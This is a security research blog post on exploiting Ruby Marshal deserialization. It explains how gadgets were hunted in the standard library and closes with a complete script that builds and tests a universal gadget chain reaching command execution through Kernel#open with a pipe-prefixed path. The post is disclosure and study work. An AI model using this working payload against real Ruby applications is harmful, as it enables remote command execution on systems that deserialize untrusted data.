( Original text by Luke Jahnke )
INTRODUCTION
This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which detail deserialization issues and related work, discovery of usable gadget chains, and finally exploitation of ruby serialization.
BACKGROUND
Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or be stored on the filesystem or in a database. These bytes include all the relevant information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has it’s own distinct serialization format. Some programming languages refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used.
The Marshal class has the class methods “dump” and “load” which can be used as follows:
<span class="err">$</span> <span class="n">irb</span>
<span class="o">>></span> <span class="k">class</span> <span class="nc">Person</span>
<span class="o">>></span> <span class="nb">attr_accessor</span> <span class="ss">:name</span>
<span class="o">>></span> <span class="k">end</span>
<span class="o">=></span> <span class="kp">nil</span>
<span class="o">>></span> <span class="nb">p</span> <span class="o">=</span> <span class="no">Person</span><span class="p">.</span><span class="nf">new</span>
<span class="o">=></span> <span class="c1">#<Person:0x00005584ba9af490></span>
<span class="o">>></span> <span class="nb">p</span><span class="p">.</span><span class="nf">name</span> <span class="o">=</span> <span class="s2">"Luke Jahnke"</span>
<span class="o">=></span> <span class="s2">"Luke Jahnke"</span>
<span class="o">>></span> <span class="nb">p</span>
<span class="o">=></span> <span class="c1">#<Person:0x00005584ba9af490 @name="Luke Jahnke"></span>
<span class="o">>></span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="nb">p</span><span class="p">)</span>
<span class="o">=></span> <span class="s2">"</span><span class="se">\x04\b</span><span class="s2">o:</span><span class="se">\v</span><span class="s2">Person</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\n</span><span class="s2">@nameI</span><span class="se">"\x10</span><span class="s2">Luke Jahnke</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\x06</span><span class="s2">ET"</span>
<span class="o">>></span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="s2">"</span><span class="se">\x04\b</span><span class="s2">o:</span><span class="se">\v</span><span class="s2">Person</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\n</span><span class="s2">@nameI</span><span class="se">"\x10</span><span class="s2">Luke Jahnke</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\x06</span><span class="s2">ET"</span><span class="p">)</span>
<span class="o">=></span> <span class="c1">#<Person:0x00005584ba995dd8 @name="Luke Jahnke"></span>
THE PROBLEMS WITH DESERIALIZATION OF UNTRUSTED DATA
A common security vulnerability occurs when a developer incorrectly assumes that an attacker cannot view or tamper with a serialized object as it is an opaque binary format. This can result in any sensitive information stored within the object, such as credentials or application secrets, being disclosed to an attacker. It also frequently results in privilege escalation in the case of the serialized object having instance variables which are subsequently used for permission checks. For example, consider a
object, containing a
instance variable, that is serialized and may be tampered with by an attacker. It is trivial to modify the serialized data and change the username variable to a username of a higher privileged user, such as “admin”. While these attacks can be powerful, they are highly context sensitive as well as being unexciting from a technical point-of-view and are not discussed further in this blog post.
Code reuse attacks are also possible where pieces of already available code, called gadgets, are executed to perform an unwanted action such as executing an arbitrary system command. As deserialization can set instance variables to arbitrary values, this allows an attacker to control some of the data that gadgets operate on. This also allows an attacker to use a gadget to invoke a second gadget, as methods are frequently called on objects stored in instance variables. When a series of gadgets have been linked together in this manner, it is called a gadget chain.
PREVIOUS PAYLOADS
Insecure deserialization is in the eighth spot in the OWASP Top 10 Most Critical Web Application Security Risks for 2017 but limited details have been published on constructing gadget chains for Ruby. However, a good reference can be found in the Phrack paper Attacking Ruby on Rails Applications, where joernchen of Phenoelit describes in section 2.1 a gadget chain discovered by Charlie Somerville that achieves arbitrary code execution. The technique will not be covered again here for brevity, however the pre-requisites are as follows:
- The ActiveSupport gem must be installed and loaded.
- ERB from the standard library must be loaded (which Ruby does not load by default).
- After deserialization, a method that does not exist must be called on the deserialized object.
While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.
So, the gauntlet has been thrown down. Can we remove all of these pre-requisites and still achieve arbitrary code execution?
HUNTING FOR GADGETS
Since we want to craft a gadget chain that has no dependencies, gadgets can only be sourced from the standard library. It should be noted that not all of the standard library is loaded by default. This significantly limits the number of gadgets we have at our disposal. For example, Ruby 2.5.3 was tested and found to have 358 classes loaded by default. While this seems high, on closer inspection it is revealed that 196 of these classes have not defined any of their own instance methods. The majority of these empty classes are uniquely named descendants of the
class used to differentiate catchable exceptions.
The limited number of available classes means it is incredibly beneficial to find gadgets or techniques that increase the amount of standard library that is loaded. One technique is to look for gadgets that when invoked will
another library. This is useful as even though the
may appear to be in the scope of a certain module and/or class, it will in fact pollute the global namespace.
<span class="k">module</span> <span class="nn">Gem</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">deflate</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="nb">require</span> <span class="s1">'zlib'</span>
<span class="no">Zlib</span><span class="o">::</span><span class="no">Deflate</span><span class="p">.</span><span class="nf">deflate</span> <span class="n">data</span>
<span class="k">end</span>
<span class="o">...</span>
<span class="k">end</span>
If the above
method was included in a gadget chain, the
library from Ruby’s standard library would be loaded, as demonstrated below:
<span class="err">$</span> <span class="n">irb</span>
<span class="o">>></span> <span class="no">Zlib</span>
<span class="no">NameError</span><span class="p">:</span> <span class="n">uninitialized</span> <span class="n">constant</span> <span class="no">Zlib</span>
<span class="o">...</span>
<span class="o">>></span> <span class="no">Gem</span><span class="p">.</span><span class="nf">deflate</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span>
<span class="o">=></span> <span class="s2">"x</span><span class="se">\x9C\x03\x00\x00\x00\x00\x01</span><span class="s2">"</span>
<span class="o">>></span> <span class="no">Zlib</span>
<span class="o">=></span> <span class="no">Zlib</span>
While numerous examples exist of the standard library dynamically loading other parts of the standard library, one instance was identified that attempts to load a third-party library if it has been installed on the system, as shown below:
<span class="o">...</span>
<span class="k">class</span> <span class="nc">SortedSet</span> <span class="o"><</span> <span class="no">Set</span>
<span class="o">...</span>
<span class="k">class</span> <span class="o"><<</span> <span class="nb">self</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">setup</span>
<span class="o">...</span>
<span class="nb">require</span> <span class="s1">'rbtree'</span>
The following figure shows a sample of the extensive locations that will be searched when requiring a library that is not installed, including other library directories:
<span class="gp">$</span> strace <span class="nt">-f</span> ruby <span class="nt">-e</span> <span class="s1">'require "set"; SortedSet.setup'</span> |& <span class="nb">grep</span> <span class="nt">-i</span> rbtree | <span class="nb">nl</span>
<span class="go"> 1 [pid 32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
2 [pid 32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
3 [pid 32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
</span><span class="c">...
</span><span class="go"> 129 [pid 32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
130 [pid 32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
131 [pid 32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
132 [pid 32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
133 [pid 32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
134 [pid 32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
135 [pid 32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
136 [pid 32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
</span><span class="c">...</span>
A more useful gadget would be one which passes an attacker controlled argument to
. This gadget would enable loading of arbitrary files on the filesystem, thus providing the use of any gadgets in the standard library, including the
gadget used in Charlie Somerville’s gadget chain. Although no gadgets were identified that allow complete control of the
argument, an example of a gadget that allows partial control can be seen below:
<span class="k">module</span> <span class="nn">Digest</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">const_missing</span><span class="p">(</span><span class="nb">name</span><span class="p">)</span> <span class="c1"># :nodoc:</span>
<span class="k">case</span> <span class="nb">name</span>
<span class="k">when</span> <span class="ss">:SHA256</span><span class="p">,</span> <span class="ss">:SHA384</span><span class="p">,</span> <span class="ss">:SHA512</span>
<span class="n">lib</span> <span class="o">=</span> <span class="s1">'digest/sha2.so'</span>
<span class="k">else</span>
<span class="n">lib</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s1">'digest'</span><span class="p">,</span> <span class="nb">name</span><span class="p">.</span><span class="nf">to_s</span><span class="p">.</span><span class="nf">downcase</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">begin</span>
<span class="nb">require</span> <span class="n">lib</span>
<span class="o">...</span>
The above example was unable to be utilised as
is never called explicitly by any Ruby code in the standard library. This is unsurprising as
is a hook method that, when defined, will be invoked when a reference is made to an undefined constant. A gadget such as
, which allows calling an arbitrary method on an arbitrary object with an arbitrary argument, would evidently allow calling the above
method. However, if we already had such a powerful gadget, we would no longer need to increase the set of available gadgets as it alone allows executing arbitrary system commands.
The
method can also be invoked as a result of a calling
. The
method of the
class defined in the file
is a suitable gadget as it calls
on the
module (although any context will also work) with control of the argument. However, the default implementation of
performs strict validation of the character set which prevents traversal outside the
directory.
Another way of invoking
is implicitly with code such as
. However,
does not perform constant resolution in such a way that will invoke
. More details can be found in Ruby issue 3511 and 12731.
Another example gadget which also provides partial control of the argument passed to
is shown below:
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">CommandManager</span>
<span class="k">def</span> <span class="nf">[]</span><span class="p">(</span><span class="n">command_name</span><span class="p">)</span>
<span class="n">command_name</span> <span class="o">=</span> <span class="n">command_name</span><span class="p">.</span><span class="nf">intern</span>
<span class="k">return</span> <span class="kp">nil</span> <span class="k">if</span> <span class="vi">@commands</span><span class="p">[</span><span class="n">command_name</span><span class="p">].</span><span class="nf">nil?</span>
<span class="vi">@commands</span><span class="p">[</span><span class="n">command_name</span><span class="p">]</span> <span class="o">||=</span> <span class="n">load_and_instantiate</span><span class="p">(</span><span class="n">command_name</span><span class="p">)</span>
<span class="k">end</span>
<span class="kp">private</span>
<span class="k">def</span> <span class="nf">load_and_instantiate</span><span class="p">(</span><span class="n">command_name</span><span class="p">)</span>
<span class="n">command_name</span> <span class="o">=</span> <span class="n">command_name</span><span class="p">.</span><span class="nf">to_s</span>
<span class="o">...</span>
<span class="nb">require</span> <span class="s2">"rubygems/commands/</span><span class="si">#{</span><span class="n">command_name</span><span class="si">}</span><span class="s2">_command"</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="o">...</span>
The above example was also not utilised due to the “_command” suffix and no technique being identified that allowed truncation (i.e. using null bytes). A number of files do exist with the “_command” suffix but these were not explored further as a different technique was found to increase the set of available gadgets. However, an interested researcher may find it interesting to investigate when exploring this topic.
As shown below, the Rubygem library makes extensive use of the
method:
<span class="k">module</span> <span class="nn">Gem</span>
<span class="o">...</span>
<span class="nb">autoload</span> <span class="ss">:BundlerVersionFinder</span><span class="p">,</span> <span class="s1">'rubygems/bundler_version_finder'</span>
<span class="nb">autoload</span> <span class="ss">:ConfigFile</span><span class="p">,</span> <span class="s1">'rubygems/config_file'</span>
<span class="nb">autoload</span> <span class="ss">:Dependency</span><span class="p">,</span> <span class="s1">'rubygems/dependency'</span>
<span class="nb">autoload</span> <span class="ss">:DependencyList</span><span class="p">,</span> <span class="s1">'rubygems/dependency_list'</span>
<span class="nb">autoload</span> <span class="ss">:DependencyResolver</span><span class="p">,</span> <span class="s1">'rubygems/resolver'</span>
<span class="nb">autoload</span> <span class="ss">:Installer</span><span class="p">,</span> <span class="s1">'rubygems/installer'</span>
<span class="nb">autoload</span> <span class="ss">:Licenses</span><span class="p">,</span> <span class="s1">'rubygems/util/licenses'</span>
<span class="nb">autoload</span> <span class="ss">:PathSupport</span><span class="p">,</span> <span class="s1">'rubygems/path_support'</span>
<span class="nb">autoload</span> <span class="ss">:Platform</span><span class="p">,</span> <span class="s1">'rubygems/platform'</span>
<span class="nb">autoload</span> <span class="ss">:RequestSet</span><span class="p">,</span> <span class="s1">'rubygems/request_set'</span>
<span class="nb">autoload</span> <span class="ss">:Requirement</span><span class="p">,</span> <span class="s1">'rubygems/requirement'</span>
<span class="nb">autoload</span> <span class="ss">:Resolver</span><span class="p">,</span> <span class="s1">'rubygems/resolver'</span>
<span class="nb">autoload</span> <span class="ss">:Source</span><span class="p">,</span> <span class="s1">'rubygems/source'</span>
<span class="nb">autoload</span> <span class="ss">:SourceList</span><span class="p">,</span> <span class="s1">'rubygems/source_list'</span>
<span class="nb">autoload</span> <span class="ss">:SpecFetcher</span><span class="p">,</span> <span class="s1">'rubygems/spec_fetcher'</span>
<span class="nb">autoload</span> <span class="ss">:Specification</span><span class="p">,</span> <span class="s1">'rubygems/specification'</span>
<span class="nb">autoload</span> <span class="ss">:Util</span><span class="p">,</span> <span class="s1">'rubygems/util'</span>
<span class="nb">autoload</span> <span class="ss">:Version</span><span class="p">,</span> <span class="s1">'rubygems/version'</span>
<span class="o">...</span>
<span class="k">end</span>
works in a similar way to
, but only loads the specified file when a registered constant is accessed for the first time. Due to this behaviour, if any of these constants are included in a deserialization payload the corresponding file will be loaded. These files themselves also contain
and
statements further increasing the number of files that could provide useful gadgets.
Although
is not expected to remain in the future release of Ruby 3.0, the use in the standard library has recently increased with the release of Ruby 2.5. New code using
was introduced in this git commit and can be seen in the following code snippet:
<span class="nb">require</span> <span class="s1">'uri/common'</span>
<span class="nb">autoload</span> <span class="ss">:IPSocket</span><span class="p">,</span> <span class="s1">'socket'</span>
<span class="nb">autoload</span> <span class="ss">:IPAddr</span><span class="p">,</span> <span class="s1">'ipaddr'</span>
<span class="k">module</span> <span class="nn">URI</span>
<span class="o">...</span>
To assist in exploring this extended set of available gadgets in the standard library, we can load every file registered with
with the following code:
<span class="no">ObjectSpace</span><span class="p">.</span><span class="nf">each_object</span> <span class="k">do</span> <span class="o">|</span><span class="n">clazz</span><span class="o">|</span>
<span class="k">if</span> <span class="n">clazz</span><span class="p">.</span><span class="nf">respond_to?</span> <span class="ss">:const_get</span>
<span class="no">Symbol</span><span class="p">.</span><span class="nf">all_symbols</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">sym</span><span class="o">|</span>
<span class="k">begin</span>
<span class="n">clazz</span><span class="p">.</span><span class="nf">const_get</span><span class="p">(</span><span class="n">sym</span><span class="p">)</span>
<span class="k">rescue</span> <span class="no">NameError</span>
<span class="k">rescue</span> <span class="no">LoadError</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
After running the above code we take a new measurement of how many classes are available for providing gadgets, and find 959 classes loaded, an increase of 658 from the earlier value of 358. Of these classes, 511 have defined at least one instance method. The ability to load these additional classes provides significantly improved conditions to begin our search for useful gadgets.
INITIAL/KICK-OFF GADGETS
The start of every gadget chain needs a gadget that will be invoked automatically during or after deserialization. This is the initial entrypoint to execute further gadgets with the ultimate goal of achieving arbitrary code execution or other attacks.
An ideal initial gadget would be one that is automatically invoked by
during deserialization. This removes any opportunity for code executed after deserialization to defensively inspect and protect against a malicious object. We suspect it may be possible to automatically invoke a gadget during deserialization as it is a feature in other programming languages such as PHP. In PHP, if a class has the magic method
defined it will be immediately invoked when deserializing an object of this type. Reading the relevant Ruby documentation reveals that if a class has an instance method
defined then this method will be invoked upon deserialization of an object of this class.
Using this information we examine every loaded class and check if they have a
instance method. This was achieved programatically with the following code:
<span class="no">ObjectSpace</span><span class="p">.</span><span class="nf">each_object</span><span class="p">(</span><span class="o">::</span><span class="no">Class</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">obj</span><span class="o">|</span>
<span class="n">all_methods</span> <span class="o">=</span> <span class="n">obj</span><span class="p">.</span><span class="nf">instance_methods</span> <span class="o">+</span> <span class="n">obj</span><span class="p">.</span><span class="nf">protected_instance_methods</span> <span class="o">+</span> <span class="n">obj</span><span class="p">.</span><span class="nf">private_instance_methods</span>
<span class="k">if</span> <span class="n">all_methods</span><span class="p">.</span><span class="nf">include?</span> <span class="ss">:marshal_load</span>
<span class="n">method_origin</span> <span class="o">=</span> <span class="n">obj</span><span class="p">.</span><span class="nf">instance_method</span><span class="p">(</span><span class="ss">:marshal_load</span><span class="p">).</span><span class="nf">inspect</span><span class="p">[</span><span class="sr">/\((.*)\)/</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span> <span class="o">||</span> <span class="n">obj</span><span class="p">.</span><span class="nf">to_s</span>
<span class="nb">puts</span> <span class="n">obj</span>
<span class="nb">puts</span> <span class="s2">" marshal_load defined by </span><span class="si">#{</span><span class="n">method_origin</span><span class="si">}</span><span class="s2">"</span>
<span class="nb">puts</span> <span class="s2">" ancestors = </span><span class="si">#{</span><span class="n">obj</span><span class="p">.</span><span class="nf">ancestors</span><span class="si">}</span><span class="s2">"</span>
<span class="nb">puts</span>
<span class="k">end</span>
<span class="k">end</span>
SURPLUS GADGETS
There were numerous gadgets discovered during the research, however only a small selection was used in the final gadget chain. For brevity of this blog post, a few interesting ones are summarised below:
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">Git</span> <span class="o"><</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">cache</span> <span class="c1"># :nodoc:</span>
<span class="o">...</span>
<span class="nb">system</span> <span class="vi">@git</span><span class="p">,</span> <span class="s1">'clone'</span><span class="p">,</span> <span class="s1">'--quiet'</span><span class="p">,</span> <span class="s1">'--bare'</span><span class="p">,</span> <span class="s1">'--no-hardlinks'</span><span class="p">,</span>
<span class="vi">@repository</span><span class="p">,</span> <span class="n">repo_cache_dir</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="o">...</span>
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Security</span><span class="o">::</span><span class="no">Policy</span>
<span class="o">...</span>
<span class="nb">attr_reader</span> <span class="ss">:name</span>
<span class="o">...</span>
<span class="k">alias</span> <span class="nb">to_s</span> <span class="nb">name</span> <span class="c1"># :nodoc:</span>
<span class="k">end</span>
<span class="k">class</span> <span class="nc">IPAddr</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">to_i</span>
<span class="k">return</span> <span class="vi">@addr</span>
<span class="k">end</span>
<span class="o">...</span>
<span class="k">module</span> <span class="nn">Gem</span>
<span class="k">class</span> <span class="nc">List</span>
<span class="nb">attr_accessor</span> <span class="ss">:value</span><span class="p">,</span> <span class="ss">:tail</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="vg">$x</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">List</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$x</span><span class="p">.</span><span class="nf">value</span> <span class="o">=</span> <span class="ss">:@elttam</span>
<span class="vg">$x</span><span class="p">.</span><span class="nf">tail</span> <span class="o">=</span> <span class="vg">$x</span>
<span class="k">class</span> <span class="nc">SimpleDelegator</span>
<span class="k">def</span> <span class="nf">marshal_dump</span>
<span class="p">[</span>
<span class="ss">:__v2__</span><span class="p">,</span>
<span class="vg">$x</span><span class="p">,</span>
<span class="p">[],</span>
<span class="kp">nil</span>
<span class="p">]</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="n">ace</span> <span class="o">=</span> <span class="no">SimpleDelegator</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="kp">nil</span><span class="p">)</span>
<span class="nb">puts</span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="n">ace</span><span class="p">).</span><span class="nf">inspect</span>
BUILDING THE GADGET CHAIN
The first step in creating the gadget chain is to build a pool of candidate
initial gadgets and ensure they call methods on objects we supply. This is very likely to contain every initial gadget as “everything is an object” in Ruby. We can reduce the pool by reviewing the implementations and keeping any that call a common method name on an object we control. Ideally the common method name should have many distinct implementations to choose from.
For my gadget chain I settled on the
class whose implementation is shown below and grants the ability to call the
method on an arbitrary object:
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Requirement</span>
<span class="c1"># 1) we have complete control over array</span>
<span class="k">def</span> <span class="nf">marshal_load</span><span class="p">(</span><span class="n">array</span><span class="p">)</span>
<span class="c1"># 2) so we can set @requirements to an object of our choosing</span>
<span class="vi">@requirements</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">fix_syck_default_key_in_requirements</span>
<span class="k">end</span>
<span class="c1"># 3) this method is invoked by marshal_load</span>
<span class="k">def</span> <span class="nf">fix_syck_default_key_in_requirements</span>
<span class="no">Gem</span><span class="p">.</span><span class="nf">load_yaml</span>
<span class="c1"># 4) we can call .each on any object</span>
<span class="vi">@requirements</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">r</span><span class="o">|</span>
<span class="k">if</span> <span class="n">r</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">kind_of?</span> <span class="no">Gem</span><span class="o">::</span><span class="no">SyckDefaultKey</span>
<span class="n">r</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"="</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
Now with the ability to call the
method we require a useful implementation of
to get us closer to arbitrary command execution. After reviewing the source code for
(and the mixin
) it was found that a call to it’s
instance method will result in the
method being called on it’s
instance variable. The exact path taken to reach the
method call is not included here, but the behavior can be verified with the following command which uses Ruby’s stdlib Tracer class to output a source level execution trace:
<span class="gp">$</span> ruby <span class="nt">-rtracer</span> <span class="nt">-e</span> <span class="s1">'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}'</span> |& fgrep <span class="s1">'@specs.sort'</span>
<span class="gp">#</span>0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-: specs <span class="o">=</span> @specs.sort.reverse
With this new ability to call the
method on an array of arbitrary objects, we leverage it to call the
method (spaceship operator) on an arbitrary object. This is useful as
has an implementation of the
method that when invoked can result in the
method being invoked on it’s
instance variable, as shown below:
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span> <span class="o"><</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span>
<span class="k">def</span> <span class="nf"><</span><span class="o">=></span> <span class="n">other</span>
<span class="k">case</span> <span class="n">other</span>
<span class="k">when</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span> <span class="k">then</span>
<span class="k">return</span> <span class="kp">nil</span> <span class="k">if</span> <span class="vi">@spec</span><span class="p">.</span><span class="nf">name</span> <span class="o">!=</span> <span class="n">other</span><span class="p">.</span><span class="nf">spec</span><span class="p">.</span><span class="nf">name</span> <span class="c1"># [1]</span>
<span class="vi">@spec</span><span class="p">.</span><span class="nf">version</span> <span class="o"><=></span> <span class="n">other</span><span class="p">.</span><span class="nf">spec</span><span class="p">.</span><span class="nf">version</span>
<span class="k">else</span>
<span class="k">super</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
The ability to call the
method on an arbitrary object is the final piece of the puzzle as
has a
method which calls its
method. The
method then calls the
method, which is actually
, with it’s instance variable
as the first argument, as shown below:
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">BasicSpecification</span>
<span class="nb">attr_writer</span> <span class="ss">:base_dir</span> <span class="c1"># :nodoc:</span>
<span class="nb">attr_writer</span> <span class="ss">:extension_dir</span> <span class="c1"># :nodoc:</span>
<span class="nb">attr_writer</span> <span class="ss">:ignored</span> <span class="c1"># :nodoc:</span>
<span class="nb">attr_accessor</span> <span class="ss">:loaded_from</span>
<span class="nb">attr_writer</span> <span class="ss">:full_gem_path</span> <span class="c1"># :nodoc:</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">StubSpecification</span> <span class="o"><</span> <span class="no">Gem</span><span class="o">::</span><span class="no">BasicSpecification</span>
<span class="k">def</span> <span class="nf">name</span>
<span class="n">data</span><span class="p">.</span><span class="nf">name</span>
<span class="k">end</span>
<span class="kp">private</span> <span class="k">def</span> <span class="nf">data</span>
<span class="k">unless</span> <span class="vi">@data</span>
<span class="k">begin</span>
<span class="n">saved_lineno</span> <span class="o">=</span> <span class="vg">$.</span>
<span class="c1"># TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.</span>
<span class="nb">open</span> <span class="n">loaded_from</span><span class="p">,</span> <span class="no">OPEN_MODE</span> <span class="k">do</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span>
<span class="o">...</span>
can be used to execute arbitrary commands when the first character of the first argument is a pipe character (“|”) as outlined in the relevant documentation. It will be interesting to see if the TODO comment directly above the
is resolved soon.
GENERATING THE PAYLOAD
The following script was developed to generate and test the previously described gadget chain:
<span class="c1">#!/usr/bin/env ruby</span>
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">StubSpecification</span>
<span class="k">def</span> <span class="nf">initialize</span><span class="p">;</span> <span class="k">end</span>
<span class="k">end</span>
<span class="n">stub_specification</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">StubSpecification</span><span class="p">.</span><span class="nf">new</span>
<span class="n">stub_specification</span><span class="p">.</span><span class="nf">instance_variable_set</span><span class="p">(</span><span class="ss">:@loaded_from</span><span class="p">,</span> <span class="s2">"|id 1>&2"</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"STEP n"</span>
<span class="n">stub_specification</span><span class="p">.</span><span class="nf">name</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span>
<span class="k">def</span> <span class="nf">initialize</span><span class="p">;</span> <span class="k">end</span>
<span class="k">end</span>
<span class="n">specific_file</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span><span class="p">.</span><span class="nf">new</span>
<span class="n">specific_file</span><span class="p">.</span><span class="nf">instance_variable_set</span><span class="p">(</span><span class="ss">:@spec</span><span class="p">,</span> <span class="n">stub_specification</span><span class="p">)</span>
<span class="n">other_specific_file</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span><span class="p">.</span><span class="nf">new</span>
<span class="nb">puts</span> <span class="s2">"STEP n-1"</span>
<span class="n">specific_file</span> <span class="o"><=></span> <span class="n">other_specific_file</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>
<span class="vg">$dependency_list</span><span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">DependencyList</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$dependency_list</span><span class="p">.</span><span class="nf">instance_variable_set</span><span class="p">(</span><span class="ss">:@specs</span><span class="p">,</span> <span class="p">[</span><span class="n">specific_file</span><span class="p">,</span> <span class="n">other_specific_file</span><span class="p">])</span>
<span class="nb">puts</span> <span class="s2">"STEP n-2"</span>
<span class="vg">$dependency_list</span><span class="p">.</span><span class="nf">each</span><span class="p">{}</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>
<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Requirement</span>
<span class="k">def</span> <span class="nf">marshal_dump</span>
<span class="p">[</span><span class="vg">$dependency_list</span><span class="p">]</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="n">payload</span> <span class="o">=</span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="no">Gem</span><span class="o">::</span><span class="no">Requirement</span><span class="p">.</span><span class="nf">new</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"STEP n-3"</span>
<span class="no">Marshal</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>
<span class="nb">puts</span> <span class="s2">"VALIDATION (in fresh ruby process):"</span>
